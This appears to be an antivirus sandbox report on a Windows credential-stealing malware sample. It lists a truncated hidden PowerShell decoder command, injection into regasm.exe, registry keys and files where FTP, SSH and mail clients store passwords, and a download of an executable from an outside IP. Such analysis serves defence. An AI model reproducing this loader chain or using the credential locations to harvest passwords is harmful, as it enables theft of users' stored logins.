Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function m53144a {param($p9f91e9)$bc9137a='u7bfc';$ad74a='';for ($i=0; $i -lt $p9f91e9.length;$i+=2){$mc756=[convert]::ToByte($p9f91e9.Substring($i,2),16);$ad74a+=[char]($...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\RimArts\B2\Settings]
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
Reads files which store third party applications passwords
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\kvzzgnkk.0.cs
- %TEMP%\kvzzgnkk.cmdline
- %TEMP%\kvzzgnkk.out
- %TEMP%\csc4039.tmp
- %TEMP%\res4049.tmp
- %TEMP%\kvzzgnkk.dll
- %APPDATA%\u8111e.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\res4049.tmp
- %TEMP%\csc4039.tmp
- %TEMP%\kvzzgnkk.dll
- %TEMP%\kvzzgnkk.cmdline
- %TEMP%\kvzzgnkk.0.cs
- %TEMP%\kvzzgnkk.out
- %TEMP%\kvzzgnkk.pdb
Network activity
TCP
HTTP GET requests
- http://51.##.163.174/oxfd.exe
Miscellaneous
Creates and executes the following
- '%APPDATA%\u8111e.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4049.tmp" "%TEMP%\CSC4039.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kvzzgnkk.cmdline"' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kvzzgnkk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4049.tmp" "%TEMP%\CSC4039.tmp"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
